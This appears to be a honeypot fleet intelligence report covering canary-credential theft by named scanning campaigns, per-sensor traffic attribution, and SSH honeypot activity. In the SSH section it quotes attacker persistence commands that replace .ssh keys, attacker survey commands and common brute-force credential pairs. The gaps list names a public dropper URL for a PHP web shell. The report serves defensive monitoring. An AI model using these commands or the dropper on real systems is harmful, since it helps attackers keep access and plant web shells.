Attribution notes. 35.253.66.111 is METADATA-HUNT's new runner — 41 mints inside the 10:37 burst, the largest single-IP haul on record; its №44–№45 kin self-used within hours, so treat the batch as live inventory. 87.120.104.29 is CONFIG-SWEEP (12 mints, campaign record). 103.214.20.135 is INFOCREST-KIT's eighth operator (7). 159.26.110.149 is PROTON-CENSUS (2, plus 1 failed ru-edge mint on a connection reset). 45.148.10.171 added 8 across 4 sensors (51/6d, 19th consecutive window). The REGISTRY-HUNT class minted ~13 at 1 per runner (142.93.0.66 ×2, 139.59.132.8, 143.244.168.161, 146.190.63.248, 146.190.242.161, 157.245.204.205, 159.89.12.166, 167.99.182.39, 167.172.232.142, 206.189.233.36, 206.189.95.232, 64.227.32.66, 45.138.12.51). 94.154.43.135/.180 are OMEGA-SWEEP pool singles (first pool mints since №21). 80.94.95.211 (SS-Net) returned with 2. 206.209.210.3 minted for a fifth consecutive window. First-time collector: 9.160.105.39. Standing singles: 13.68.158.199, 109.205.176.10, 140.245.97.208.

Fleet Observations

Canary economics. 107 digest mint rows; 102 credentials to 26 collectors after dedupe; 0 credentials used (0 alerts, 0 AWS events). Mint failures: 1 — root-caused to a transient Connection reset by peer toward community.tracebit.com:443 from ru-edge-1 at 13:14:11 EDT during PROTON-CENSUS's mint attempt; no 400/401 anywhere in the window. All-time issued-row counter: 2,245.

Attribution and TLS posture. XFF counters: any 2,396 / multi-entry 0 / ignored-internal 324 / single-entry mismatch 0. Host census stays bare-IP-led on the certless nodes; the TLS vhosts carried canary-farm sso.rightabouteverything.show (1,660 HTTP Host hits vs 1,015 bare-IP) and ai-devbox inference.fapthropic.com (671 vs 604). lauterbourg was bare-IP-led this window (1,977 of 2,240) — ORACLE-SWEEP's pivot pass and the GOWEB pair ran against the IP host, not the kiteworks hostname.

Volume moves and causes. ru-edge-1 +128% (4,158): CONFIG-SWEEP .29 (3,000, 72% of the node). netcup-ts +169% (5,114): Bochum crawler (4,060, 79%). sponge-01-ts +144% (3,697): Bochum crawler (2,762, 75%). lauterbourg-01-ts +38% (2,240): ORACLE-SWEEP's pivot pass (873) + GOWEB ×2 (302) + INFOCREST legs (.135 93, .116 90). canary-farm-1 +15% (2,683): the METADATA-HUNT burst (650) + the wp pool + INFOCREST .135 (315). control-1 +11% (3,578): the Pfcloud loop (2,082, 58%) + PROTON-CENSUS (163) + EMPERORS (40). frantech-ts −3% (14,216): MEGA-DICT's replay (13,565, 95%). ai-devbox-1 −31% (1,290 vs 1,860 avg) with its highest uniq-IP count on record (206) — the distributed pools walked it without a census.

Result-tag spike attribution. All 13 ≥3× spikes have causes: wp-login-credentials aidev 79 + wp-login-probe 164 = the standing pool (196 IPs) + the new wp-admin leg + MEGA-DICT replay fallout; wp-admin-redirect farm 44 + wp-rest-auth-required 39 = the new 21-IP wp-admin leg + replay; phpmyadmin-login lauterbourg 304 = GOWEB (151 + 151) + singles; tarpit-module netcup 4,460 = the Bochum crawler; ru-edge app-config-php 50 = CONFIG-SWEEP (44); app-config-python 56 = CONFIG-SWEEP (52); application-properties 22 = CONFIG-SWEEP (20); terraform-tfstate 21 = CONFIG-SWEEP (18) + PROTON-CENSUS; webapp-config-bundle-js 49 = INFOCREST legs + CONFIG-SWEEP + singles; fake-git 191 = MEVSPACE .90 (143) + CONFIG-SWEEP (38); phpmyadmin-login ru-edge 45 = CONFIG-SWEEP (22) + INFOCREST legs. No unexplained spikes.

control-1 discovery velocity. Day 31: 3,578 events from 105 unique IPs — unique-IP count inside the 84–157 band (23rd consecutive window); volume sits third-highest on the node, driven by the Pfcloud loop and the day's census passes, not by new discoverers.

Digest quirks. First-seen timestamps again cluster at the 03:15:39–40 sync-arrival minute — inventory, not timeline. The fleet-24h histogram buckets still carry EDT times under the hour_utc header (№49 quirk; MEGA-DICT's 02:10 EDT replay lands in the 10-14 02:00 bucket). The +4 h ingest cast pulls late-window actors into two digests — cross-checked against №50: every run cited above starts after №50's 03:33 EDT window end (METADATA-HUNT 10:37, INFOCREST .135 01:12, .116 07:20, PROTON 13:14), except where 6d history is cited. The ai-devbox-1 rotated-file gap enters its thirteenth cycle. Top-talker counts exclude tarpit-disconnect pairing rows (№47 convention). New quirk: tracebit-error rows can carry upstream connection failures (ClientConnectorError … Connection reset by peer) — transient, distinct from the 400/401 rejection classes; root-cause before counting a window as dirty.

Fleet-side changes this cycle. flux-visuals.py CHAINS: METADATA-HUNT and CONFIG-SWEEP → active; SI-CENSUS → idle; EMPERORS-KIT → active; PROTON-CENSUS registered; notes updated for GOWEB-PENTEST, CREDENTIAL-DRAIN, MEGA-DICT, ORACLE-SWEEP, WP-FORM-BRUTE, LIBREDTAIL-KIT, INFOCREST-KIT, MEVSPACE-GITWALK, BUCKLOG-KIT. TALKER_CAMPAIGNS +10. recon-names.tsv unchanged (no new named network campaign; a591c4ddccc9… stays unnamed below threshold). The Bochum softsec crawler pair moved to the registry's benign list on its second window. Registry: PROTON-CENSUS row added; status updates for 12 campaigns. Infrastructure one-liner: a ninth sensor (contabo-sponge-02-ts) is visible in Arkime session tags (6,631 sessions) ahead of any flux logs.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 489 sources sent credentials → 327 got a shell (67%) → 253 ran a command (77% of shell-getters, 52% of sources). Event level: 15,380 credential attempts → 2,697 accepted logins → 4,569 commands (169% of accepted logins go on to run something). Telnet (commodity IoT botnets): 2,628 attempts — doubled from 1,274.

Twenty-fourth static command window. New commands: 0 of 42 distinct. The .ssh replant pair stays dominant (cd ~; chattr -ia .ssh; lockr -ia .ssh at 861 events / 173 IPs; the key-replace chain at 766 / 158). 45.148.10.61 — the CREDSWEEP /24 — ran the hardware survey again (uname -s -v -n -r -m, nvidia-smi -q | grep "Product Name", lspci | grep VGA ×2 forms, uptime -p; 273 events each from 5 IPs).

Credential concentration persists. 9,490 distinct pairs offered, 0 new. Top pairs: 345gs5662d34/345gs5662d34 at 829 attempts and root/3245gs5662d34 at 626 — the fixed-pair sprayers hold the funnel for a sixth window. No new pairs to report.

Gaps / Next Collection

1. METADATA-HUNT's 41 fresh canaries. Self-use watch: the campaign's №44–№45 kin validated their own mints within hours. Does 35.253.66.111 return, spread past canary-farm-1, or draw AWS ops before TTL; capture the 455 B multipart form bodies in full.
2. PROTON-CENSUS's 2 held credentials. The /24 used its first canary within hours in №14. Tracebit is the witness; the ru-edge mint failed on a connection reset, so only 2 of a probable 3 are held.
3. ORACLE-SWEEP's fifth window. Is the vhost/admin/LLM census the new template, an addition, or a one-off surface probe; do the .env core and a mint return on the canary nodes; the campaign's 5 held canaries.
4. 16443846184e… — 12,398 sessions / 38 IPs at day 17, netcup's top fingerprint and unnamed. Name it if it re-disperses or crosses the 50-IP floor; a banner read would settle its relationship to GO-BANNER-SWEEP.
5. LIBREDTAIL staging rotation. 217.60.102.5 is the third staging host in one /16; measure the dropper fetch on the next capture and watch for a fourth.
6. EmperorsTools repo liveness. The dropper's copy() target (raw.githubusercontent.com/president32/uploader2/main/emperor.php) is public and token-less; one external HEAD request would settle whether the drop can succeed — not run this cycle.
7. contabo-sponge-02-ts onboarding. Ninth sensor provisioning in Arkime; watch for its first flux logs and add it to the roster.
8. hp static streak. Twenty-four windows without a new command; the fixed-pair sprayers still own the funnel. New commands remain the only post-compromise tripwire in the pipeline.

Digest: /data/flux-logs/reports/flux-digest-2026-10-14.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-14.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-14.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-14.md

Watch next cycle: (1) METADATA-HUNT's 41 fresh canaries — self-use or AWS ops before TTL, and whether the runner returns or spreads; (2) PROTON-CENSUS's 2 held credentials against Tracebit — the /24 validated a canary within hours in №14; (3) ORACLE-SWEEP's fifth window — whether the vhost/admin census is the new template and whether the .env core returns.